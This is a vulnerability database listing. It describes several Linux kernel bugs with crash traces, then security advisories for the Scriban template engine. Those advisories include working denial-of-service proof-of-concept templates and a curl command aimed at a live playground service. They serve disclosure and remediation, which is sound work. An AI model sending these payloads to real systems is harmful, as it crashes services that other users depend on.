Search: cs.at
222 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 5.5 | EPSS 0.1% | Medium5.5EPSS 0.1%GCVE DatabaseCVE-2026-23308 In the Linux kernel, the following vulnerability has been resolved: pinctrl: equilibrium: fix warning trace on load The callback functions 'eqbr_irq_mask()' and 'eqbr_irq_ack()' are also called in the callback function 'eqbr_irq_mask_ack()'. This is done to avoid source code duplication. The problem, is that in the function 'eqbr_irq_mask()' also calles the gpiolib function 'gpiochip_disable_irq()' This generates the following warning trace in the log for every gpio on load. [ 6.088111] ------------[ cut here ]------------ [ 6.092440] WARNING: CPU: 3 PID: 1 at drivers/gpio/gpiolib.c:3810 gpiochip_disable_irq+0x39/0x50 [ 6.097847] Modules linked in: [ 6.097847] CPU: 3 UID: 0 PID: 1 Comm: swapper/0 Tainted: G W 6.12.59+ #0 [ 6.097847] Tainted: [W]=WARN [ 6.097847] RIP: 0010:gpiochip_disable_irq+0x39/0x50 [ 6.097847] Code: 39 c6 48 19 c0 21 c6 48 c1 e6 05 48 03 b2 38 03 00 00 48 81 fe 00 f0 ff ff 77 11 48 8b 46 08 f6 c4 02 74 06 f0 80 66 09 fb c3 <0f> 0b 90 0f 1f 40 00 c3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 [ 6.097847] RSP: 0000:ffffc9000000b830 EFLAGS: 00010046 [ 6.097847] RAX: 0000000000000045 RBX: ffff888001be02a0 RCX: 0000000000000008 [ 6.097847] RDX: ffff888001be9000 RSI: ffff888001b2dd00 RDI: ffff888001be02a0 [ 6.097847] RBP: ffffc9000000b860 R08: 0000000000000000 R09: 0000000000000000 [ 6.097847] R10: 0000000000000001 R11: ffff888001b2a154 R12: ffff888001be0514 [ 6.097847] R13: ffff888001be02a0 R14: 0000000000000008 R15: 0000000000000000 [ 6.097847] FS: 0000000000000000(0000) GS:ffff888041d80000(0000) knlGS:0000000000000000 [ 6.097847] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 6.097847] CR2: 0000000000000000 CR3: 0000000003030000 CR4: 00000000001026b0 [ 6.097847] Call Trace: [ 6.097847] <TASK> [ 6.097847] ? eqbr_irq_mask+0x63/0x70 [ 6.097847] ? no_action+0x10/0x10 [ 6.097847] eqbr_irq_mask_ack+0x11/0x60 In an other driver (drivers/pinctrl/starfive/pinctrl-starfive-jh7100.c) the interrupt is not disabled here. To fix this, do not call the 'eqbr_irq_mask()' and 'eqbr_irq_ack()' function. Implement instead this directly without disabling the interrupts. EPSS 0.1%Vulnerability | GCVE Database | ||
| Low | 5.5 | EPSS 0.1% | Low5.5EPSS 0.1%GCVE DatabaseCVE-2026-23321 In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: in-kernel: always mark signal+subflow endp as used Syzkaller managed to find a combination of actions that was generating this warning: msk->pm.local_addr_used == 0 WARNING: net/mptcp/pm_kernel.c:1071 at __mark_subflow_endp_available net/mptcp/pm_kernel.c:1071 [inline], CPU#1: syz.2.17/961 WARNING: net/mptcp/pm_kernel.c:1071 at mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_kernel.c:1103 [inline], CPU#1: syz.2.17/961 WARNING: net/mptcp/pm_kernel.c:1071 at mptcp_pm_nl_del_addr_doit+0x81d/0x8f0 net/mptcp/pm_kernel.c:1210, CPU#1: syz.2.17/961 Modules linked in: CPU: 1 UID: 0 PID: 961 Comm: syz.2.17 Not tainted 6.19.0-08368-gfafda3b4b06b #22 PREEMPT(full) Hardware name: QEMU Ubuntu 25.10 PC v2 (i440FX + PIIX, + 10.1 machine, 1996), BIOS 1.17.0-debian-1.17.0-1build1 04/01/2014 RIP: 0010:__mark_subflow_endp_available net/mptcp/pm_kernel.c:1071 [inline] RIP: 0010:mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_kernel.c:1103 [inline] RIP: 0010:mptcp_pm_nl_del_addr_doit+0x81d/0x8f0 net/mptcp/pm_kernel.c:1210 Code: 89 c5 e8 46 30 6f fe e9 21 fd ff ff 49 83 ed 80 e8 38 30 6f fe 4c 89 ef be 03 00 00 00 e8 db 49 df fe eb ac e8 24 30 6f fe 90 <0f> 0b 90 e9 1d ff ff ff e8 16 30 6f fe eb 05 e8 0f 30 6f fe e8 9a RSP: 0018:ffffc90001663880 EFLAGS: 00010293 RAX: ffffffff82de1a6c RBX: 0000000000000000 RCX: ffff88800722b500 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff8880158b22d0 R08: 0000000000010425 R09: ffffffffffffffff R10: ffffffff82de18ba R11: 0000000000000000 R12: ffff88800641a640 R13: ffff8880158b1880 R14: ffff88801ec3c900 R15: ffff88800641a650 FS: 00005555722c3500(0000) GS:ffff8880f909d000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f66346e0f60 CR3: 000000001607c000 CR4: 0000000000350ef0 Call Trace: <TASK> genl_family_rcv_msg_doit+0x117/0x180 net/netlink/genetlink.c:1115 genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0x3a8/0x3f0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x16d/0x240 net/netlink/af_netlink.c:2550 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x3e9/0x4c0 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x4aa/0x5b0 net/netlink/af_netlink.c:1894 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg+0xc9/0xf0 net/socket.c:742 ____sys_sendmsg+0x272/0x3b0 net/socket.c:2592 ___sys_sendmsg+0x2de/0x320 net/socket.c:2646 __sys_sendmsg net/socket.c:2678 [inline] __do_sys_sendmsg net/socket.c:2683 [inline] __se_sys_sendmsg net/socket.c:2681 [inline] __x64_sys_sendmsg+0x110/0x1a0 net/socket.c:2681 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x143/0x440 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f66346f826d Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffc83d8bdc8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f6634985fa0 RCX: 00007f66346f826d RDX: 00000000040000b0 RSI: 0000200000000740 RDI: 0000000000000007 RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007f6634985fa8 R13: 00007f6634985fac R14: 0000000000000000 R15: 0000000000001770 </TASK> The actions that caused that seem to be: - Set the MPTCP subflows limit to 0 - Create an MPTCP endpoint with both the 'signal' and 'subflow' flags - Create a new MPTCP connection from a different address: an ADD_ADDR linked to the MPTCP endpoint will be sent ('signal' flag), but no subflows is initiated ('subflow' flag) - Remove the MPTCP endpoint ---truncated--- | GCVE Database | ||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE DatabaseCVE-2026-23343 In the Linux kernel, the following vulnerability has been resolved: xdp: produce a warning when calculated tailroom is negative Many ethernet drivers report xdp Rx queue frag size as being the same as DMA write size. However, the only user of this field, namely bpf_xdp_frags_increase_tail(), clearly expects a truesize. Such difference leads to unspecific memory corruption issues under certain circumstances, e.g. in ixgbevf maximum DMA write size is 3 KB, so when running xskxceiver's XDP_ADJUST_TAIL_GROW_MULTI_BUFF, 6K packet fully uses all DMA-writable space in 2 buffers. This would be fine, if only rxq->frag_size was properly set to 4K, but value of 3K results in a negative tailroom, because there is a non-zero page offset. We are supposed to return -EINVAL and be done with it in such case, but due to tailroom being stored as an unsigned int, it is reported to be somewhere near UINT_MAX, resulting in a tail being grown, even if the requested offset is too much (it is around 2K in the abovementioned test). This later leads to all kinds of unspecific calltraces. [ 7340.337579] xskxceiver[1440]: segfault at 1da718 ip 00007f4161aeac9d sp 00007f41615a6a00 error 6 [ 7340.338040] xskxceiver[1441]: segfault at 7f410000000b ip 00000000004042b5 sp 00007f415bffecf0 error 4 [ 7340.338179] in libc.so.6[61c9d,7f4161aaf000+160000] [ 7340.339230] in xskxceiver[42b5,400000+69000] [ 7340.340300] likely on CPU 6 (core 0, socket 6) [ 7340.340302] Code: ff ff 01 e9 f4 fe ff ff 0f 1f 44 00 00 4c 39 f0 74 73 31 c0 ba 01 00 00 00 f0 0f b1 17 0f 85 ba 00 00 00 49 8b 87 88 00 00 00 <4c> 89 70 08 eb cc 0f 1f 44 00 00 48 8d bd f0 fe ff ff 89 85 ec fe [ 7340.340888] likely on CPU 3 (core 0, socket 3) [ 7340.345088] Code: 00 00 00 ba 00 00 00 00 be 00 00 00 00 89 c7 e8 31 ca ff ff 89 45 ec 8b 45 ec 85 c0 78 07 b8 00 00 00 00 eb 46 e8 0b c8 ff ff <8b> 00 83 f8 69 74 24 e8 ff c7 ff ff 8b 00 83 f8 0b 74 18 e8 f3 c7 [ 7340.404334] Oops: general protection fault, probably for non-canonical address 0x6d255010bdffc: 0000 [#1] SMP NOPTI [ 7340.405972] CPU: 7 UID: 0 PID: 1439 Comm: xskxceiver Not tainted 6.19.0-rc1+ #21 PREEMPT(lazy) [ 7340.408006] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-5.fc42 04/01/2014 [ 7340.409716] RIP: 0010:lookup_swap_cgroup_id+0x44/0x80 [ 7340.410455] Code: 83 f8 1c 73 39 48 ba ff ff ff ff ff ff ff 03 48 8b 04 c5 20 55 fa bd 48 21 d1 48 89 ca 83 e1 01 48 d1 ea c1 e1 04 48 8d 04 90 <8b> 00 48 83 c4 10 d3 e8 c3 cc cc cc cc 31 c0 e9 98 b7 dd 00 48 89 [ 7340.412787] RSP: 0018:ffffcc5c04f7f6d0 EFLAGS: 00010202 [ 7340.413494] RAX: 0006d255010bdffc RBX: ffff891f477895a8 RCX: 0000000000000010 [ 7340.414431] RDX: 0001c17e3fffffff RSI: 00fa070000000000 RDI: 000382fc7fffffff [ 7340.415354] RBP: 00fa070000000000 R08: ffffcc5c04f7f8f8 R09: ffffcc5c04f7f7d0 [ 7340.416283] R10: ffff891f4c1a7000 R11: ffffcc5c04f7f9c8 R12: ffffcc5c04f7f7d0 [ 7340.417218] R13: 03ffffffffffffff R14: 00fa06fffffffe00 R15: ffff891f47789500 [ 7340.418229] FS: 0000000000000000(0000) GS:ffff891ffdfaa000(0000) knlGS:0000000000000000 [ 7340.419489] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 7340.420286] CR2: 00007f415bfffd58 CR3: 0000000103f03002 CR4: 0000000000772ef0 [ 7340.421237] PKRU: 55555554 [ 7340.421623] Call Trace: [ 7340.421987] <TASK> [ 7340.422309] ? softleaf_from_pte+0x77/0xa0 [ 7340.422855] swap_pte_batch+0xa7/0x290 [ 7340.423363] zap_nonpresent_ptes.constprop.0.isra.0+0xd1/0x270 [ 7340.424102] zap_pte_range+0x281/0x580 [ 7340.424607] zap_pmd_range.isra.0+0xc9/0x240 [ 7340.425177] unmap_page_range+0x24d/0x420 [ 7340.425714] unmap_vmas+0xa1/0x180 [ 7340.426185] exit_mmap+0xe1/0x3b0 [ 7340.426644] __mmput+0x41/0x150 [ 7340.427098] exit_mm+0xb1/0x110 [ 7340.427539] do_exit+0x1b2/0x460 [ 7340.427992] do_group_exit+0x2d/0xc0 [ 7340.428477] get_signal+0x79d/0x7e0 [ 7340.428957] arch_do_signal_or_restart+0x34/0x100 [ 7340.429571] exit_to_user_mode_loop+0x8e/0x4c0 [ 7340.430159] do_syscall_64+0x188/ ---truncated--- | GCVE Database | ||
| High | 5.5 | EPSS 0.1% | High5.5EPSS 0.1%GCVE DatabaseCVE-2026-23369 In the Linux kernel, the following vulnerability has been resolved: i2c: i801: Revert "i2c: i801: replace acpi_lock with I2C bus lock" This reverts commit f707d6b9e7c18f669adfdb443906d46cfbaaa0c1. Under rare circumstances, multiple udev threads can collect i801 device info on boot and walk i801_acpi_io_handler somewhat concurrently. The first will note the area is reserved by acpi to prevent further touches. This ultimately causes the area to be deregistered. The second will enter i801_acpi_io_handler after the area is unregistered but before a check can be made that the area is unregistered. i2c_lock_bus relies on the now unregistered area containing lock_ops to lock the bus. The end result is a kernel panic on boot with the following backtrace; [ 14.971872] ioatdma 0000:09:00.2: enabling device (0100 -> 0102) [ 14.971873] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 14.971880] #PF: supervisor read access in kernel mode [ 14.971884] #PF: error_code(0x0000) - not-present page [ 14.971887] PGD 0 P4D 0 [ 14.971894] Oops: 0000 [#1] PREEMPT SMP PTI [ 14.971900] CPU: 5 PID: 956 Comm: systemd-udevd Not tainted 5.14.0-611.5.1.el9_7.x86_64 #1 [ 14.971905] Hardware name: XXXXXXXXXXXXXXXXXXXXXXX BIOS 1.20.10.SV91 01/30/2023 [ 14.971908] RIP: 0010:i801_acpi_io_handler+0x2d/0xb0 [i2c_i801] [ 14.971929] Code: 00 00 49 8b 40 20 41 57 41 56 4d 8b b8 30 04 00 00 49 89 ce 41 55 41 89 d5 41 54 49 89 f4 be 02 00 00 00 55 4c 89 c5 53 89 fb <48> 8b 00 4c 89 c7 e8 18 61 54 e9 80 bd 80 04 00 00 00 75 09 4c 3b [ 14.971933] RSP: 0018:ffffbaa841483838 EFLAGS: 00010282 [ 14.971938] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff9685e01ba568 [ 14.971941] RDX: 0000000000000008 RSI: 0000000000000002 RDI: 0000000000000000 [ 14.971944] RBP: ffff9685ca22f028 R08: ffff9685ca22f028 R09: ffff9685ca22f028 [ 14.971948] R10: 000000000000000b R11: 0000000000000580 R12: 0000000000000580 [ 14.971951] R13: 0000000000000008 R14: ffff9685e01ba568 R15: ffff9685c222f000 [ 14.971954] FS: 00007f8287c0ab40(0000) GS:ffff96a47f940000(0000) knlGS:0000000000000000 [ 14.971959] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 14.971963] CR2: 0000000000000000 CR3: 0000000168090001 CR4: 00000000003706f0 [ 14.971966] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 14.971968] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 14.971972] Call Trace: [ 14.971977] <TASK> [ 14.971981] ? show_trace_log_lvl+0x1c4/0x2df [ 14.971994] ? show_trace_log_lvl+0x1c4/0x2df [ 14.972003] ? acpi_ev_address_space_dispatch+0x16e/0x3c0 [ 14.972014] ? __die_body.cold+0x8/0xd [ 14.972021] ? page_fault_oops+0x132/0x170 [ 14.972028] ? exc_page_fault+0x61/0x150 [ 14.972036] ? asm_exc_page_fault+0x22/0x30 [ 14.972045] ? i801_acpi_io_handler+0x2d/0xb0 [i2c_i801] [ 14.972061] acpi_ev_address_space_dispatch+0x16e/0x3c0 [ 14.972069] ? __pfx_i801_acpi_io_handler+0x10/0x10 [i2c_i801] [ 14.972085] acpi_ex_access_region+0x5b/0xd0 [ 14.972093] acpi_ex_field_datum_io+0x73/0x2e0 [ 14.972100] acpi_ex_read_data_from_field+0x8e/0x230 [ 14.972106] acpi_ex_resolve_node_to_value+0x23d/0x310 [ 14.972114] acpi_ds_evaluate_name_path+0xad/0x110 [ 14.972121] acpi_ds_exec_end_op+0x321/0x510 [ 14.972127] acpi_ps_parse_loop+0xf7/0x680 [ 14.972136] acpi_ps_parse_aml+0x17a/0x3d0 [ 14.972143] acpi_ps_execute_method+0x137/0x270 [ 14.972150] acpi_ns_evaluate+0x1f4/0x2e0 [ 14.972158] acpi_evaluate_object+0x134/0x2f0 [ 14.972164] acpi_evaluate_integer+0x50/0xe0 [ 14.972173] ? vsnprintf+0x24b/0x570 [ 14.972181] acpi_ac_get_state.part.0+0x23/0x70 [ 14.972189] get_ac_property+0x4e/0x60 [ 14.972195] power_supply_show_property+0x90/0x1f0 [ 14.972205] add_prop_uevent+0x29/0x90 [ 14.972213] power_supply_uevent+0x109/0x1d0 [ 14.972222] dev_uevent+0x10e/0x2f0 [ 14.972228] uevent_show+0x8e/0x100 [ 14.972236] dev_attr_show+0x19 ---truncated--- | GCVE Database | ||
| Medium | 6.5 | Medium6.5GCVE Database ## Summary Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates. ## Details ### Vector 1: Unbounded string multiplication In `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334 var leftText = context.ObjectToString(left); var builder = new StringBuilder(); for (int i = 0; i < value; i++) { builder.Append(leftText); } return builder.ToString(); ``` The `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop — `StepLoop()` is never called here. ### Vector 2: Unbounded BigInteger shift left The `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711 case ScriptBinaryOperator.ShiftLeft: return (BigInteger)left << (int)right; ``` ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784 case ScriptBinaryOperator.ShiftLeft: return left << (int)right; ``` In contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One << 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations. ### Vector 3: LoopLimit bypass via range enumeration in builtin functions The range operators `..` and `..<` produce lazy `IEnumerable<object>` iterators: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417 private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right) { if (left < right) { for (var i = left; i <= right; i++) { yield return FitToBestInteger(i); } } // ... } ``` When these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` — it is never called in any function under `src/Scriban/Functions/`. For example: - `ArrayFunctions.Size` (line 609) calls `.Cast<object>().Count()`, fully enumerating the range - `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit ## PoC ### Vector 1 — String multiplication OOM: ```csharp var template = Template.Parse("{{ 'AAAA' * 500000000 }}"); var context = new TemplateContext(); // context.LimitToString is 1048576 by default — does NOT protect this path template.Render(context); // OutOfMemoryException: attempts ~2GB allocation ``` ### Vector 2 — BigInteger shift OOM: ```csharp var template = Template.Parse("{{ 1 << 100000000 }}"); var context = new TemplateContext(); template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB) // {{ 1 << 2000000000 }} attempts ~250MB ``` ### Vector 3 — LoopLimit bypass via range + builtin: ```csharp var template = Template.Parse("{{ (0..1000000000) | array.size }}"); var context = new TemplateContext(); // context.LoopLimit is 1000 — does NOT protect builtin function iteration template.Render(context); // CPU exhaustion: enumerates 1 billion items ``` ```csharp var template = Template.Parse("{{ (0..10000000) | array.join ',' }}"); var context = new TemplateContext(); template.Render(context); // Memory exhaustion: builds ~80MB+ joined string ``` ## Impact An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because: 1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. 2. A single malicious template expression is sufficient — no complex template logic is required. 3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation. ## Recommended Fix ### Vector 1 — String multiplication: Check `LimitToString` before the loop ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330 var leftText = context.ObjectToString(left); | GCVE Database | |||
| Medium | 6.5 | Medium6.5GCVE Database ## Summary The `LimitToString` safety limit (default 1MB since commit `b5ac4bf`) can be bypassed to allocate approximately 1GB of memory by exploiting the per-call reset of `_currentToStringLength` in `ObjectToString`. Each template expression rendered through `TemplateContext.Write(SourceSpan, object)` triggers a separate top-level `ObjectToString` call that resets the length counter to zero, and the underlying `StringBuilderOutput` has no cumulative output size limit. An attacker who can supply a template can cause an out-of-memory condition in the host application. ## Details The root cause is in `TemplateContext.Helpers.cs`, in the `ObjectToString` method: ```csharp // src/Scriban/TemplateContext.Helpers.cs:89-111 public virtual string ObjectToString(object value, bool nested = false) { if (_objectToStringLevel == 0) { _currentToStringLength = 0; // <-- resets on every top-level call } try { _objectToStringLevel++; // ... var result = ObjectToStringImpl(value, nested); if (LimitToString > 0 && _objectToStringLevel == 1 && result != null && result.Length >= LimitToString) { return result + "..."; } return result; } // ... } ``` Each time a template expression is rendered, `TemplateContext.Write(SourceSpan, object)` calls `ObjectToString`: ```csharp // src/Scriban/TemplateContext.cs:693-701 public virtual TemplateContext Write(SourceSpan span, object textAsObject) { if (textAsObject != null) { var text = ObjectToString(textAsObject); // fresh _currentToStringLength = 0 Write(text); } return this; } ``` The `StringBuilderOutput.Write` method appends unconditionally with no size check: ```csharp // src/Scriban/Runtime/StringBuilderOutput.cs:47-50 public void Write(string text, int offset, int count) { Builder.Append(text, offset, count); // no cumulative limit } ``` **Execution flow:** 1. Template creates a string of length 1,048,575 (one byte under the 1MB `LimitToString` default) 2. A `for` loop iterates up to `LoopLimit` (default 1000) times 3. Each iteration renders the string via `Write(span, x)` → `ObjectToString(x)` 4. `ObjectToString` resets `_currentToStringLength = 0` since `_objectToStringLevel == 0` 5. The string passes the `LimitToString` check (1,048,575 < 1,048,576) 6. Full string is appended to `StringBuilder` — no cumulative tracking 7. After 1000 iterations: ~1GB allocated in-memory ## PoC ```csharp using Scriban; // Uses only default TemplateContext settings (LoopLimit=1000, LimitToString=1048576) var template = Template.Parse("{{ x = \"\" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}"); // This will allocate ~1GB in the StringBuilder, likely causing OOM var result = template.Render(); ``` Equivalent Scriban template: ```scriban {{ x = "" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }} ``` Each of the 1000 loop iterations outputs a 1,048,575-character string. Each passes the per-call `LimitToString` check independently. Total output: ~1,000,000,000 characters (~1GB) allocated in the `StringBuilder`. ## Impact - **Denial of Service:** An attacker who can supply Scriban templates (common in CMS, email templating, report generation) can crash the host application via out-of-memory - **Process-level impact:** OOM kills the entire .NET process, not just the template rendering — affects all concurrent users - **Bypass of safety mechanism:** The `LimitToString` limit was specifically introduced to prevent resource exhaustion, but the per-call reset makes it ineffective against cumulative abuse - **Low complexity:** The exploit template is trivial — a single line ## Recommended Fix Add a cumulative output size counter to `TemplateContext` that tracks total bytes written across all `Write` calls, independent of the per-object `LimitToString`: ```csharp // In TemplateContext.cs — add new property and field private long _totalOutputLength; /// <summary> /// Gets or sets the maximum total output length in characters. Default is 10485760 (10 MB). 0 means no limit. /// </summary> public int OutputLimit { get; set; } = 10485760; // In TemplateContext.Write(string, int, int) — add check before writing public TemplateContext Write(string text, int startIndex, int count) { if (text != null) { if (OutputLimit > 0) { _totalOutputLength += count; if (_totalOutputLength > OutputLimit) { throw new ScriptRuntimeException(CurrentSpan, $"The output limit of {OutputLimit} characters was reached."); } } // ... existing indent/write logic } return this; } ``` This provides defense-in-depth: `LimitToString` caps individual object serialization, while `OutputLimit` caps total template output. | GCVE Database | |||
| High | 7.5 | High7.5GCVE Database ## Summary The `object.to_json` builtin function in Scriban performs recursive JSON serialization via an internal `WriteValue()` static local function that has no depth limit, no circular reference detection, and no stack overflow guard. A Scriban template containing a self-referencing object passed to `object.to_json` triggers unbounded recursion, causing a `StackOverflowException` that terminates the hosting .NET process. This is a fatal, unrecoverable crash — `StackOverflowException` cannot be caught by user code in .NET. ## Details The vulnerable code is the `WriteValue()` static local function at `src/Scriban/Functions/ObjectFunctions.cs:494`: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value) { var type = value?.GetType() ?? typeof(object); if (value is null || value is string || value is bool || type.IsPrimitiveOrDecimal() || value is IFormattable) { JsonSerializer.Serialize(writer, value, type); } else if (value is IList || type.IsArray) { writer.WriteStartArray(); foreach (var x in context.ToList(context.CurrentSpan, value)) { WriteValue(context, writer, x); // recursive, no depth check } writer.WriteEndArray(); } else { writer.WriteStartObject(); var accessor = context.GetMemberAccessor(value); foreach (var member in accessor.GetMembers(context, context.CurrentSpan, value)) { if (accessor.TryGetValue(context, context.CurrentSpan, value, member, out var memberValue)) { writer.WritePropertyName(member); WriteValue(context, writer, memberValue); // recursive, no depth check } } writer.WriteEndObject(); } } ``` This function has **none** of the safety mechanisms present in other recursive paths: - `ObjectToString()` at `TemplateContext.Helpers.cs:98` checks `ObjectRecursionLimit` (default 20) - `EnterRecursive()` at `TemplateContext.cs:957` calls `RuntimeHelpers.EnsureSufficientExecutionStack()` - `CheckAbort()` at `TemplateContext.cs:464` also calls `EnsureSufficientExecutionStack()` The `WriteValue()` function bypasses all of these because it is a static local function that only takes the `TemplateContext` for member access — it never calls `EnterRecursive()`, never checks `ObjectRecursionLimit`, and never calls `EnsureSufficientExecutionStack()`. **Execution flow:** 1. Template creates a ScriptObject: `{{ x = {} }}` 2. Sets a self-reference: `x.self = x` — stores a reference in `ScriptObject.Store` dictionary 3. Pipes to `object.to_json`: `x | object.to_json` → calls `ToJson()` at line 477 4. `ToJson()` calls `WriteValue(context, writer, value)` at line 488 5. `WriteValue` enters the `else` branch (line 515), gets members via accessor, finds "self" 6. `TryGetValue` returns `x` itself, `WriteValue` recurses with the same object — infinite loop 7. `StackOverflowException` is thrown — **fatal, cannot be caught, process terminates** ## PoC ```scriban {{ x = {}; x.self = x; x | object.to_json }} ``` In a hosting application: ```csharp using Scriban; // This will crash the entire process with StackOverflowException var template = Template.Parse("{{ x = {}; x.self = x; x | object.to_json }}"); var result = template.Render(); // FATAL: process terminates here ``` Even without circular references, deeply nested objects can exhaust the stack since no depth limit is enforced: ```scriban {{ a = {} b = {inner: a} c = {inner: b} d = {inner: c} # ... continue nesting ... result = deepest | object.to_json }} ``` ## Impact - **Process crash DoS**: Any application embedding Scriban for user-provided templates (CMS platforms, email template engines, report generators, static site generators) can be crashed by a single malicious template. The crash is unrecoverable — `StackOverflowException` terminates the .NET process. - **No try/catch protection possible**: Unlike most exceptions, `StackOverflowException` cannot be caught by application code. The hosting application cannot wrap `template.Render()` in a try/catch to survive this. - **No authentication required**: `object.to_json` is a default builtin function (registered in `BuiltinFunctions.cs`), available in all Scriban templates unless explicitly removed. - **Trivial to exploit**: The PoC is a single line of template code. ## Recommended Fix Add a depth counter parameter to `WriteValue()` and check it against `ObjectRecursionLimit`, consistent with how `ObjectToString` is protected. Also add `EnsureSufficientExecutionStack()` as a safety net: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value, int depth = 0) { if (context.ObjectRecursionLimit != 0 && depth > context.ObjectRecursionLimit) { throw new ScriptRuntimeException(context.CurrentSpan, $"Exceeding object recursion limit `{context.ObjectRecursion | GCVE Database | |||
| High | 7.5 | High7.5GCVE Database ## Summary The built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`. ## Details `StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking: ```csharp // src/Scriban/Functions/StringFunctions.cs:1181-1183 public static string PadLeft(string text, int width) { return (text ?? string.Empty).PadLeft(width); } // src/Scriban/Functions/StringFunctions.cs:1200-1202 public static string PadRight(string text, int width) { return (text ?? string.Empty).PadRight(width); } ``` The `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering. The Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with: - No authentication - Template size limit of 1KB (line 71) — the payload fits in 39 bytes - A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25) ## PoC Single request to crash or degrade the AppService: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' ``` This 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding). **Expected result:** The service returns an error or truncated output safely. **Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either 